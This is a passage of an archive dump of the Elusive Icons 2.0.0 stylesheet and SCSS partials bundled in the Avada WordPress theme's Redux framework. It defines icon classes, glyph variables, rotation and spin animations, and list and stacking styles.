ning-sign:before{content:""}.el-icon-website-alt:before,.el-website-alt:before{content:""}.el-icon-website:before,.el-website:before{content:""}.el-icon-wheelchair:before,.el-wheelchair:before{content:""}.el-icon-wordpress:before,.el-wordpress:before{content:""}.el-icon-wrench-alt:before,.el-wrench-alt:before{content:""}.el-icon-wrench:before,.el-wrench:before{content:""}.el-icon-youtube:before,.el-youtube:before{content:""}.el-icon-zoom-in:before,.el-zoom-in:before{content:""}.el-icon-zoom-out:before,.el-zoom-out:before{content:""}/*# sourceMappingURL=FusionReduxCore/assets/css/vendor/elusive-icons/elusive-icons.css.map */ includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_mixins.scss000064400000001754152342437710030547 0ustar00Avada// Mixins // -------------------------- @mixin el-icon() { display: inline-block; font: normal normal normal #{$el-font-size-base}/1 'Elusive-Icons'; // shortening font declaration font-size: inherit; // can't have font-size inherit on line above, so need to override text-rendering: auto; // optimizelegibility throws things off #1094 -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; transform: translate(0, 0); // ensures no half-pixel rendering in firefox } @mixin el-icon-rotate($degrees, $rotation) { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); -webkit-transform: rotate($degrees); -ms-transform: rotate($degrees); transform: rotate($degrees); } @mixin el-icon-flip($horiz, $vert, $rotation) { filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}); -webkit-transform: scale($horiz, $vert); -ms-transform: scale($horiz, $vert); transform: scale($horiz, $vert); } includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_core.scss000064400000001005152342437710030155 0ustar00Avada// Base Class Definition // ------------------------- .#{$el-css-prefix} { display: inline-block; font: normal normal normal #{$el-font-size-base}/1 'Elusive-Icons'; // shortening font declaration font-size: inherit; // can't have font-size inherit on line above, so need to override text-rendering: auto; // optimizelegibility throws things off #1094 -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; transform: translate(0, 0); // ensures no half-pixel rendering in firefox } lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/elusive-icons.css000064400000051316152342437710031502 0ustar00Avada/includes/*! * Elusive Icons 2.0.0 by @FusionReduxFramework - http://elusiveicons.com - @fusionreduxframework * License - http://elusiveicons.com/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:'Elusive-Icons';src:url("fonts/elusiveicons-webfont.eot?v=2.0.0");src:url("fonts/elusiveicons-webfont.eot?#iefix&v=2.0.0") format("embedded-opentype"),url("fonts/elusiveicons-webfont.woff?v=2.0.0") format("woff"),url("fonts/elusiveicons-webfont.ttf?v=2.0.0") format("truetype"),url("fonts/elusiveicons-webfont.svg?v=2.0.0#elusiveiconsregular") format("svg");font-weight:normal;font-style:normal}.el{display:inline-block;font:normal normal normal 14px/1 "Elusive-Icons";font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;transform:translate(0, 0)}.el-lg{font-size:1.33333em;line-height:0.75em;vertical-align:-15%}.el-2x{font-size:2em}.el-3x{font-size:3em}.el-4x{font-size:4em}.el-5x{font-size:5em}.el-fw{width:1.28571em;text-align:center}.el-ul{padding-left:0;margin-left:2.14286em;list-style-type:none}.el-ul>li{position:relative}.el-li{position:absolute;left:-2.14286em;width:2.14286em;top:0.14286em;text-align:center}.el-li.el-lg{left:-1.85714em}.el-border{padding:.2em .25em .15em;border:solid 0.08em #eee;border-radius:.1em}.pull-right{float:right}.pull-left{float:left}.el.pull-left{margin-right:.3em}.el.pull-right{margin-left:.3em}.el-spin{-webkit-animation:el-spin 2s infinite linear;animation:el-spin 2s infinite linear}.el-pulse{-webkit-animation:el-spin 1s infinite steps(8);animation:el-spin 1s infinite steps(8)}@-webkit-keyframes el-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes el-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.el-rotate-90{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1);-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.el-rotate-180{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.el-rotate-270{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=3);-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.el-flip-horizontal{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=0);-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.el-flip-vertical{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .el-rotate-90,:root .el-rotate-180,:root .el-rotate-270,:root .el-flip-horizontal,:root .el-flip-vertical{filter:none}.el-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.el-stack-1x,.el-stack-2x{position:absolute;left:0;width:100%;text-align:center}.el-stack-1x{line-height:inherit}.el-stack-2x{font-size:2em}.el-inverse{color:#fff}.el-icon-address-book-alt:before,.el-address-book-alt:before{content:""}.el-icon-address-book:before,.el-address-book:before{content:""}.el-icon-adjust-alt:before,.el-adjust-alt:before{content:""}.el-icon-adjust:before,.el-adjust:before{content:""}.el-icon-adult:before,.el-adult:before{content:""}.el-icon-align-center:before,.el-align-center:before{content:""}.el-icon-align-justify:before,.el-align-justify:before{content:""}.el-icon-align-left:before,.el-align-left:before{content:""}.el-icon-align-right:before,.el-align-right:before{content:""}.el-icon-arrow-down:before,.el-arrow-down:before{content:""}.el-icon-arrow-left:before,.el-arrow-left:before{content:""}.el-icon-arrow-right:before,.el-arrow-right:before{content:""}.el-icon-arrow-up:before,.el-arrow-up:before{content:""}.el-icon-asl:before,.el-asl:before{content:""}.el-icon-asterisk:before,.el-asterisk:before{content:""}.el-icon-backward:before,.el-backward:before{content:""}.el-icon-ban-circle:before,.el-ban-circle:before{content:""}.el-icon-barcode:before,.el-barcode:before{content:""}.el-icon-behance:before,.el-behance:before{content:""}.el-icon-bell:before,.el-bell:before{content:""}.el-icon-blind:before,.el-blind:before{content:""}.el-icon-blogger:before,.el-blogger:before{content:""}.el-icon-bold:before,.el-bold:before{content:""}.el-icon-book:before,.el-book:before{content:""}.el-icon-bookmark-empty:before,.el-bookmark-empty:before{content:""}.el-icon-bookmark:before,.el-bookmark:before{content:""}.el-icon-brackets:before,.el-brackets:before{content:""}.el-icon-braille:before,.el-braille:before{content:""}.el-icon-briefcase:before,.el-briefcase:before{content:""}.el-icon-broom:before,.el-broom:before{content:""}.el-icon-brush:before,.el-brush:before{content:""}.el-icon-bulb:before,.el-bulb:before{content:""}.el-icon-bullhorn:before,.el-bullhorn:before{content:""}.el-icon-calendar-sign:before,.el-calendar-sign:before{content:""}.el-icon-calendar:before,.el-calendar:before{content:""}.el-icon-camera:before,.el-camera:before{content:""}.el-icon-car:before,.el-car:before{content:""}.el-icon-caret-down:before,.el-caret-down:before{content:""}.el-icon-caret-left:before,.el-caret-left:before{content:""}.el-icon-caret-right:before,.el-caret-right:before{content:""}.el-icon-caret-up:before,.el-caret-up:before{content:""}.el-icon-cc:before,.el-cc:before{content:""}.el-icon-certificate:before,.el-certificate:before{content:""}.el-icon-check-empty:before,.el-check-empty:before{content:""}.el-icon-check:before,.el-check:before{content:""}.el-icon-chevron-down:before,.el-chevron-down:before{content:""}.el-icon-chevron-left:before,.el-chevron-left:before{content:""}.el-icon-chevron-right:before,.el-chevron-right:before{content:""}.el-icon-chevron-up:before,.el-chevron-up:before{content:""}.el-icon-child:before,.el-child:before{content:""}.el-icon-circle-arrow-down:before,.el-circle-arrow-down:before{content:""}.el-icon-circle-arrow-left:before,.el-circle-arrow-left:before{content:""}.el-icon-circle-arrow-right:before,.el-circle-arrow-right:before{content:""}.el-icon-circle-arrow-up:before,.el-circle-arrow-up:before{content:""}.el-icon-cloud-alt:before,.el-cloud-alt:before{content:""}.el-icon-cloud:before,.el-cloud:before{content:""}.el-icon-cog-alt:before,.el-cog-alt:before{content:""}.el-icon-cog:before,.el-cog:before{content:""}.el-icon-cogs:before,.el-cogs:before{content:""}.el-icon-comment-alt:before,.el-comment-alt:before{content:""}.el-icon-comment:before,.el-comment:before{content:""}.el-icon-compass-alt:before,.el-compass-alt:before{content:""}.el-icon-compass:before,.el-compass:before{content:""}.el-icon-credit-card:before,.el-credit-card:before{content:""}.el-icon-css:before,.el-css:before{content:""}.el-icon-dashboard:before,.el-dashboard:before{content:""}.el-icon-delicious:before,.el-delicious:before{content:""}.el-icon-deviantart:before,.el-deviantart:before{content:""}.el-icon-digg:before,.el-digg:before{content:""}.el-icon-download-alt:before,.el-download-alt:before{content:""}.el-icon-download:before,.el-download:before{content:""}.el-icon-dribbble:before,.el-dribbble:before{content:""}.el-icon-edit:before,.el-edit:before{content:""}.el-icon-eject:before,.el-eject:before{content:""}.el-icon-envelope-alt:before,.el-envelope-alt:before{content:""}.el-icon-envelope:before,.el-envelope:before{content:""}.el-icon-error-alt:before,.el-error-alt:before{content:""}.el-icon-error:before,.el-error:before{content:""}.el-icon-eur:before,.el-eur:before{content:""}.el-icon-exclamation-sign:before,.el-exclamation-sign:before{content:""}.el-icon-eye-close:before,.el-eye-close:before{content:""}.el-icon-eye-open:before,.el-eye-open:before{content:""}.el-icon-facebook:before,.el-facebook:before{content:""}.el-icon-facetime-video:before,.el-facetime-video:before{content:""}.el-icon-fast-backward:before,.el-fast-backward:before{content:""}.el-icon-fast-forward:before,.el-fast-forward:before{content:""}.el-icon-female:before,.el-female:before{content:""}.el-icon-file-alt:before,.el-file-alt:before{content:""}.el-icon-file-edit-alt:before,.el-file-edit-alt:before{content:""}.el-icon-file-edit:before,.el-file-edit:before{content:""}.el-icon-file-new-alt:before,.el-file-new-alt:before{content:""}.el-icon-file-new:before,.el-file-new:before{content:""}.el-icon-file:before,.el-file:before{content:""}.el-icon-film:before,.el-film:before{content:""}.el-icon-filter:before,.el-filter:before{content:""}.el-icon-fire:before,.el-fire:before{content:""}.el-icon-flag-alt:before,.el-flag-alt:before{content:""}.el-icon-flag:before,.el-flag:before{content:""}.el-icon-flickr:before,.el-flickr:before{content:""}.el-icon-folder-close:before,.el-folder-close:before{content:""}.el-icon-folder-open:before,.el-folder-open:before{content:""}.el-icon-folder-sign:before,.el-folder-sign:before{content:""}.el-icon-folder:before,.el-folder:before{content:""}.el-icon-font:before,.el-font:before{content:""}.el-icon-fontsize:before,.el-fontsize:before{content:""}.el-icon-fork:before,.el-fork:before{content:""}.el-icon-forward-alt:before,.el-forward-alt:before{content:""}.el-icon-forward:before,.el-forward:before{content:""}.el-icon-foursquare:before,.el-foursquare:before{content:""}.el-icon-friendfeed-rect:before,.el-friendfeed-rect:before{content:""}.el-icon-friendfeed:before,.el-friendfeed:before{content:""}.el-icon-fullscreen:before,.el-fullscreen:before{content:""}.el-icon-gallery:before,.el-gallery:before{content:""}.el-icon-gbp:before,.el-gbp:before{content:""}.el-icon-gift:before,.el-gift:before{content:""}.el-icon-github-text:before,.el-github-text:before{content:""}.el-icon-github:before,.el-github:before{content:""}.el-icon-glass:before,.el-glass:before{content:""}.el-icon-glasses:before,.el-glasses:before{content:""}.el-icon-globe-alt:before,.el-globe-alt:before{content:""}.el-icon-globe:before,.el-globe:before{content:""}.el-icon-googleplus:before,.el-googleplus:before{content:""}.el-icon-graph-alt:before,.el-graph-alt:before{content:""}.el-icon-graph:before,.el-graph:before{content:""}.el-icon-group-alt:before,.el-group-alt:before{content:""}.el-icon-group:before,.el-group:before{content:""}.el-icon-guidedog:before,.el-guidedog:before{content:""}.el-icon-hand-down:before,.el-hand-down:before{content:""}.el-icon-hand-left:before,.el-hand-left:before{content:""}.el-icon-hand-right:before,.el-hand-right:before{content:""}.el-icon-hand-up:before,.el-hand-up:before{content:""}.el-icon-hdd:before,.el-hdd:before{content:""}.el-icon-headphones:before,.el-headphones:before{content:""}.el-icon-hearing-impaired:before,.el-hearing-impaired:before{content:""}.el-icon-heart-alt:before,.el-heart-alt:before{content:""}.el-icon-heart-empty:before,.el-heart-empty:before{content:""}.el-icon-heart:before,.el-heart:before{content:""}.el-icon-home-alt:before,.el-home-alt:before{content:""}.el-icon-home:before,.el-home:before{content:""}.el-icon-hourglass:before,.el-hourglass:before{content:""}.el-icon-idea-alt:before,.el-idea-alt:before{content:""}.el-icon-idea:before,.el-idea:before{content:""}.el-icon-inbox-alt:before,.el-inbox-alt:before{content:""}.el-icon-inbox-box:before,.el-inbox-box:before{content:""}.el-icon-inbox:before,.el-inbox:before{content:""}.el-icon-indent-left:before,.el-indent-left:before{content:""}.el-icon-indent-right:before,.el-indent-right:before{content:""}.el-icon-info-circle:before,.el-info-circle:before{content:""}.el-icon-instagram:before,.el-instagram:before{content:""}.el-icon-iphone-home:before,.el-iphone-home:before{content:""}.el-icon-italic:before,.el-italic:before{content:""}.el-icon-key:before,.el-key:before{content:""}.el-icon-laptop-alt:before,.el-laptop-alt:before{content:""}.el-icon-laptop:before,.el-laptop:before{content:""}.el-icon-lastfm:before,.el-lastfm:before{content:""}.el-icon-leaf:before,.el-leaf:before{content:""}.el-icon-lines:before,.el-lines:before{content:""}.el-icon-link:before,.el-link:before{content:""}.el-icon-linkedin:before,.el-linkedin:before{content:""}.el-icon-list-alt:before,.el-list-alt:before{content:""}.el-icon-list:before,.el-list:before{content:""}.el-icon-livejournal:before,.el-livejournal:before{content:""}.el-icon-lock-alt:before,.el-lock-alt:before{content:""}.el-icon-lock:before,.el-lock:before{content:""}.el-icon-magic:before,.el-magic:before{content:""}.el-icon-magnet:before,.el-magnet:before{content:""}.el-icon-male:before,.el-male:before{content:""}.el-icon-map-marker-alt:before,.el-map-marker-alt:before{content:""}.el-icon-map-marker:before,.el-map-marker:before{content:""}.el-icon-mic-alt:before,.el-mic-alt:before{content:""}.el-icon-mic:before,.el-mic:before{content:""}.el-icon-minus-sign:before,.el-minus-sign:before{content:""}.el-icon-minus:before,.el-minus:before{content:""}.el-icon-move:before,.el-move:before{content:""}.el-icon-music:before,.el-music:before{content:""}.el-icon-myspace:before,.el-myspace:before{content:""}.el-icon-network:before,.el-network:before{content:""}.el-icon-off:before,.el-off:before{content:""}.el-icon-ok-circle:before,.el-ok-circle:before{content:""}.el-icon-ok-sign:before,.el-ok-sign:before{content:""}.el-icon-ok:before,.el-ok:before{content:""}.el-icon-opensource:before,.el-opensource:before{content:""}.el-icon-paper-clip-alt:before,.el-paper-clip-alt:before{content:""}.el-icon-paper-clip:before,.el-paper-clip:before{content:""}.el-icon-path:before,.el-path:before{content:""}.el-icon-pause-alt:before,.el-pause-alt:before{content:""}.el-icon-pause:before,.el-pause:before{content:""}.el-icon-pencil-alt:before,.el-pencil-alt:before{content:""}.el-icon-pencil:before,.el-pencil:before{content:""}.el-icon-person:before,.el-person:before{content:""}.el-icon-phone-alt:before,.el-phone-alt:before{content:""}.el-icon-phone:before,.el-phone:before{content:""}.el-icon-photo-alt:before,.el-photo-alt:before{content:""}.el-icon-photo:before,.el-photo:before{content:""}.el-icon-picasa:before,.el-picasa:before{content:""}.el-icon-picture:before,.el-picture:before{content:""}.el-icon-plane:before,.el-plane:before{content:""}.el-icon-play-alt:before,.el-play-alt:before{content:""}.el-icon-play-circle:before,.el-play-circle:before{content:""}.el-icon-play:before,.el-play:before{content:""}.el-icon-plurk-alt:before,.el-plurk-alt:before{content:""}.el-icon-plurk:before,.el-plurk:before{content:""}.el-icon-plus-sign:before,.el-plus-sign:before{content:""}.el-icon-plus:before,.el-plus:before{content:""}.el-icon-podcast:before,.el-podcast:before{content:""}.el-icon-print:before,.el-print:before{content:""}.el-icon-puzzle:before,.el-puzzle:before{content:""}.el-icon-qrcode:before,.el-qrcode:before{content:""}.el-icon-question-sign:before,.el-question-sign:before{content:""}.el-icon-question:before,.el-question:before{content:""}.el-icon-quote-alt:before,.el-quote-alt:before{content:""}.el-icon-quote-right-alt:before,.el-quote-right-alt:before{content:""}.el-icon-quote-right:before,.el-quote-right:before{content:""}.el-icon-quotes:before,.el-quotes:before{content:""}.el-icon-random:before,.el-random:before{content:""}.el-icon-record:before,.el-record:before{content:""}.el-icon-reddit:before,.el-reddit:before{content:""}.el-icon-fusionredux:before,.el-fusionredux:before{content:""}.el-icon-refresh:before,.el-refresh:before{content:""}.el-icon-remove-circle:before,.el-remove-circle:before{content:""}.el-icon-remove-sign:before,.el-remove-sign:before{content:""}.el-icon-remove:before,.el-remove:before{content:""}.el-icon-repeat-alt:before,.el-repeat-alt:before{content:""}.el-icon-repeat:before,.el-repeat:before{content:""}.el-icon-resize-full:before,.el-resize-full:before{content:""}.el-icon-resize-horizontal:before,.el-resize-horizontal:before{content:""}.el-icon-resize-small:before,.el-resize-small:before{content:""}.el-icon-resize-vertical:before,.el-resize-vertical:before{content:""}.el-icon-return-key:before,.el-return-key:before{content:""}.el-icon-retweet:before,.el-retweet:before{content:""}.el-icon-reverse-alt:before,.el-reverse-alt:before{content:""}.el-icon-road:before,.el-road:before{content:""}.el-icon-rss:before,.el-rss:before{content:""}.el-icon-scissors:before,.el-scissors:before{content:""}.el-icon-screen-alt:before,.el-screen-alt:before{content:""}.el-icon-screen:before,.el-screen:before{content:""}.el-icon-screenshot:before,.el-screenshot:before{content:""}.el-icon-search-alt:before,.el-search-alt:before{content:""}.el-icon-search:before,.el-search:before{content:""}.el-icon-share-alt:before,.el-share-alt:before{content:""}.el-icon-share:before,.el-share:before{content:""}.el-icon-shopping-cart-sign:before,.el-shopping-cart-sign:before{content:""}.el-icon-shopping-cart:before,.el-shopping-cart:before{content:""}.el-icon-shortcode:before,.el-shortcode:before{content:""}.el-icon-signal:before,.el-signal:before{content:""}.el-icon-skype:before,.el-skype:before{content:""}.el-icon-slideshare:before,.el-slideshare:before{content:""}.el-icon-smiley-alt:before,.el-smiley-alt:before{content:""}.el-icon-smiley:before,.el-smiley:before{content:""}.el-icon-soundcloud:before,.el-soundcloud:before{content:""}.el-icon-speaker:before,.el-speaker:before{content:""}.el-icon-spotify:before,.el-spotify:before{content:""}.el-icon-stackoverflow:before,.el-stackoverflow:before{content:""}.el-icon-star-alt:before,.el-star-alt:before{content:""}.el-icon-star-empty:before,.el-star-empty:before{content:""}.el-icon-star:before,.el-star:before{content:""}.el-icon-step-backward:before,.el-step-backward:before{content:""}.el-icon-step-forward:before,.el-step-forward:before{content:""}.el-icon-stop-alt:before,.el-stop-alt:before{content:""}.el-icon-stop:before,.el-stop:before{content:""}.el-icon-stumbleupon:before,.el-stumbleupon:before{content:""}.el-icon-tag:before,.el-tag:before{content:""}.el-icon-tags:before,.el-tags:before{content:""}.el-icon-tasks:before,.el-tasks:before{content:""}.el-icon-text-height:before,.el-text-height:before{content:""}.el-icon-text-width:before,.el-text-width:before{content:""}.el-icon-th-large:before,.el-th-large:before{content:""}.el-icon-th-list:before,.el-th-list:before{content:""}.el-icon-th:before,.el-th:before{content:""}.el-icon-thumbs-down:before,.el-thumbs-down:before{content:""}.el-icon-thumbs-up:before,.el-thumbs-up:before{content:""}.el-icon-time-alt:before,.el-time-alt:before{content:""}.el-icon-time:before,.el-time:before{content:""}.el-icon-tint:before,.el-tint:before{content:""}.el-icon-torso:before,.el-torso:before{content:""}.el-icon-trash-alt:before,.el-trash-alt:before{content:""}.el-icon-trash:before,.el-trash:before{content:""}.el-icon-tumblr:before,.el-tumblr:before{content:""}.el-icon-twitter:before,.el-twitter:before{content:""}.el-icon-universal-access:before,.el-universal-access:before{content:""}.el-icon-unlock-alt:before,.el-unlock-alt:before{content:""}.el-icon-unlock:before,.el-unlock:before{content:""}.el-icon-upload:before,.el-upload:before{content:""}.el-icon-usd:before,.el-usd:before{content:""}.el-icon-user:before,.el-user:before{content:""}.el-icon-viadeo:before,.el-viadeo:before{content:""}.el-icon-video-alt:before,.el-video-alt:before{content:""}.el-icon-video-chat:before,.el-video-chat:before{content:""}.el-icon-video:before,.el-video:before{content:""}.el-icon-view-mode:before,.el-view-mode:before{content:""}.el-icon-vimeo:before,.el-vimeo:before{content:""}.el-icon-vkontakte:before,.el-vkontakte:before{content:""}.el-icon-volume-down:before,.el-volume-down:before{content:""}.el-icon-volume-off:before,.el-volume-off:before{content:""}.el-icon-volume-up:before,.el-volume-up:before{content:""}.el-icon-w3c:before,.el-w3c:before{content:""}.el-icon-warning-sign:before,.el-warning-sign:before{content:""}.el-icon-website-alt:before,.el-website-alt:before{content:""}.el-icon-website:before,.el-website:before{content:""}.el-icon-wheelchair:before,.el-wheelchair:before{content:""}.el-icon-wordpress:before,.el-wordpress:before{content:""}.el-icon-wrench-alt:before,.el-wrench-alt:before{content:""}.el-icon-wrench:before,.el-wrench:before{content:""}.el-icon-youtube:before,.el-youtube:before{content:""}.el-icon-zoom-in:before,.el-zoom-in:before{content:""}.el-icon-zoom-out:before,.el-zoom-out:before{content:""} lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_bordered-pulled.scss000064400000000514152342437710032302 0ustar00Avada/includes// Bordered & Pulled // ------------------------- .#{$el-css-prefix}-border { padding: .2em .25em .15em; border: solid .08em $el-border-color; border-radius: .1em; } .pull-right { float: right; } .pull-left { float: left; } .#{$el-css-prefix} { &.pull-left { margin-right: .3em; } &.pull-right { margin-left: .3em; } } includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_stacked.scss000064400000000742152342437710030652 0ustar00Avada// Stacked Icons // ------------------------- .#{$el-css-prefix}-stack { position: relative; display: inline-block; width: 2em; height: 2em; line-height: 2em; vertical-align: middle; } .#{$el-css-prefix}-stack-1x, .#{$el-css-prefix}-stack-2x { position: absolute; left: 0; width: 100%; text-align: center; } .#{$el-css-prefix}-stack-1x { line-height: inherit; } .#{$el-css-prefix}-stack-2x { font-size: 2em; } .#{$el-css-prefix}-inverse { color: $el-inverse; } lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_fixed-width.scss000064400000000170152342437710031443 0ustar00Avada/includes// Fixed Width Icons // ------------------------- .#{$el-css-prefix}-fw { width: (18em / 14); text-align: center; } includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_list.scss000064400000000572152342437710030210 0ustar00Avada// List Icons // ------------------------- .#{$el-css-prefix}-ul { padding-left: 0; margin-left: $el-li-width; list-style-type: none; > li { position: relative; } } .#{$el-css-prefix}-li { position: absolute; left: -$el-li-width; width: $el-li-width; top: (2em / 14); text-align: center; &.#{$el-css-prefix}-lg { left: -$el-li-width + (4em / 14); } } includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_animated.scss000064400000001313152342437710031011 0ustar00Avada// Spinning Icons // -------------------------- .#{$el-css-prefix}-spin { -webkit-animation: el-spin 2s infinite linear; animation: el-spin 2s infinite linear; } .#{$el-css-prefix}-pulse { -webkit-animation: el-spin 1s infinite steps(8); animation: el-spin 1s infinite steps(8); } @-webkit-keyframes el-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } @keyframes el-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_variables.scss000064400000020630152342437710031202 0ustar00Avada/includes// Variables // -------------------------- $el-font-path: "fonts" !default; $el-font-size-base: 14px !default; $el-css-prefix: el !default; $el-version: "2.0.0" !default; $el-border-color: #eee !default; $el-inverse: #fff !default; $el-li-width: (30em / 14) !default; $el-var-address-book: "\f102"; $el-var-address-book-alt: "\f101"; $el-var-adjust: "\f104"; $el-var-adjust-alt: "\f103"; $el-var-adult: "\f105"; $el-var-align-center: "\f106"; $el-var-align-justify: "\f107"; $el-var-align-left: "\f108"; $el-var-align-right: "\f109"; $el-var-arrow-down: "\f10a"; $el-var-arrow-left: "\f10b"; $el-var-arrow-right: "\f10c"; $el-var-arrow-up: "\f10d"; $el-var-asl: "\f10e"; $el-var-asterisk: "\f10f"; $el-var-backward: "\f110"; $el-var-ban-circle: "\f111"; $el-var-barcode: "\f112"; $el-var-behance: "\f113"; $el-var-bell: "\f114"; $el-var-blind: "\f115"; $el-var-blogger: "\f116"; $el-var-bold: "\f117"; $el-var-book: "\f118"; $el-var-bookmark: "\f11a"; $el-var-bookmark-empty: "\f119"; $el-var-brackets: "\f11b"; $el-var-braille: "\f11c"; $el-var-briefcase: "\f11d"; $el-var-broom: "\f11e"; $el-var-brush: "\f11f"; $el-var-bulb: "\f120"; $el-var-bullhorn: "\f121"; $el-var-calendar: "\f123"; $el-var-calendar-sign: "\f122"; $el-var-camera: "\f124"; $el-var-car: "\f125"; $el-var-caret-down: "\f126"; $el-var-caret-left: "\f127"; $el-var-caret-right: "\f128"; $el-var-caret-up: "\f129"; $el-var-cc: "\f12a"; $el-var-certificate: "\f12b"; $el-var-check: "\f12d"; $el-var-check-empty: "\f12c"; $el-var-chevron-down: "\f12e"; $el-var-chevron-left: "\f12f"; $el-var-chevron-right: "\f130"; $el-var-chevron-up: "\f131"; $el-var-child: "\f132"; $el-var-circle-arrow-down: "\f133"; $el-var-circle-arrow-left: "\f134"; $el-var-circle-arrow-right: "\f135"; $el-var-circle-arrow-up: "\f136"; $el-var-cloud: "\f138"; $el-var-cloud-alt: "\f137"; $el-var-cog: "\f13a"; $el-var-cog-alt: "\f139"; $el-var-cogs: "\f13b"; $el-var-comment: "\f13d"; $el-var-comment-alt: "\f13c"; $el-var-compass: "\f13f"; $el-var-compass-alt: "\f13e"; $el-var-credit-card: "\f140"; $el-var-css: "\f141"; $el-var-dashboard: "\f142"; $el-var-delicious: "\f143"; $el-var-deviantart: "\f144"; $el-var-digg: "\f145"; $el-var-download: "\f147"; $el-var-download-alt: "\f146"; $el-var-dribbble: "\f148"; $el-var-edit: "\f149"; $el-var-eject: "\f14a"; $el-var-envelope: "\f14c"; $el-var-envelope-alt: "\f14b"; $el-var-error: "\f14e"; $el-var-error-alt: "\f14d"; $el-var-eur: "\f14f"; $el-var-exclamation-sign: "\f150"; $el-var-eye-close: "\f151"; $el-var-eye-open: "\f152"; $el-var-facebook: "\f153"; $el-var-facetime-video: "\f154"; $el-var-fast-backward: "\f155"; $el-var-fast-forward: "\f156"; $el-var-female: "\f157"; $el-var-file: "\f15d"; $el-var-file-alt: "\f158"; $el-var-file-edit: "\f15a"; $el-var-file-edit-alt: "\f159"; $el-var-file-new: "\f15c"; $el-var-file-new-alt: "\f15b"; $el-var-film: "\f15e"; $el-var-filter: "\f15f"; $el-var-fire: "\f160"; $el-var-flag: "\f162"; $el-var-flag-alt: "\f161"; $el-var-flickr: "\f163"; $el-var-folder: "\f167"; $el-var-folder-close: "\f164"; $el-var-folder-open: "\f165"; $el-var-folder-sign: "\f166"; $el-var-font: "\f168"; $el-var-fontsize: "\f169"; $el-var-fork: "\f16a"; $el-var-forward: "\f16c"; $el-var-forward-alt: "\f16b"; $el-var-foursquare: "\f16d"; $el-var-friendfeed: "\f16f"; $el-var-friendfeed-rect: "\f16e"; $el-var-fullscreen: "\f170"; $el-var-gallery: "\f171"; $el-var-gbp: "\f172"; $el-var-gift: "\f173"; $el-var-github: "\f175"; $el-var-github-text: "\f174"; $el-var-glass: "\f176"; $el-var-glasses: "\f177"; $el-var-globe: "\f179"; $el-var-globe-alt: "\f178"; $el-var-googleplus: "\f17a"; $el-var-graph: "\f17c"; $el-var-graph-alt: "\f17b"; $el-var-group: "\f17e"; $el-var-group-alt: "\f17d"; $el-var-guidedog: "\f17f"; $el-var-hand-down: "\f180"; $el-var-hand-left: "\f181"; $el-var-hand-right: "\f182"; $el-var-hand-up: "\f183"; $el-var-hdd: "\f184"; $el-var-headphones: "\f185"; $el-var-hearing-impaired: "\f186"; $el-var-heart: "\f189"; $el-var-heart-alt: "\f187"; $el-var-heart-empty: "\f188"; $el-var-home: "\f18b"; $el-var-home-alt: "\f18a"; $el-var-hourglass: "\f18c"; $el-var-idea: "\f18e"; $el-var-idea-alt: "\f18d"; $el-var-inbox: "\f191"; $el-var-inbox-alt: "\f18f"; $el-var-inbox-box: "\f190"; $el-var-indent-left: "\f192"; $el-var-indent-right: "\f193"; $el-var-info-circle: "\f194"; $el-var-instagram: "\f195"; $el-var-iphone-home: "\f196"; $el-var-italic: "\f197"; $el-var-key: "\f198"; $el-var-laptop: "\f19a"; $el-var-laptop-alt: "\f199"; $el-var-lastfm: "\f19b"; $el-var-leaf: "\f19c"; $el-var-lines: "\f19d"; $el-var-link: "\f19e"; $el-var-linkedin: "\f19f"; $el-var-list: "\f1a1"; $el-var-list-alt: "\f1a0"; $el-var-livejournal: "\f1a2"; $el-var-lock: "\f1a4"; $el-var-lock-alt: "\f1a3"; $el-var-magic: "\f1a5"; $el-var-magnet: "\f1a6"; $el-var-male: "\f1a7"; $el-var-map-marker: "\f1a9"; $el-var-map-marker-alt: "\f1a8"; $el-var-mic: "\f1ab"; $el-var-mic-alt: "\f1aa"; $el-var-minus: "\f1ad"; $el-var-minus-sign: "\f1ac"; $el-var-move: "\f1ae"; $el-var-music: "\f1af"; $el-var-myspace: "\f1b0"; $el-var-network: "\f1b1"; $el-var-off: "\f1b2"; $el-var-ok: "\f1b5"; $el-var-ok-circle: "\f1b3"; $el-var-ok-sign: "\f1b4"; $el-var-opensource: "\f1b6"; 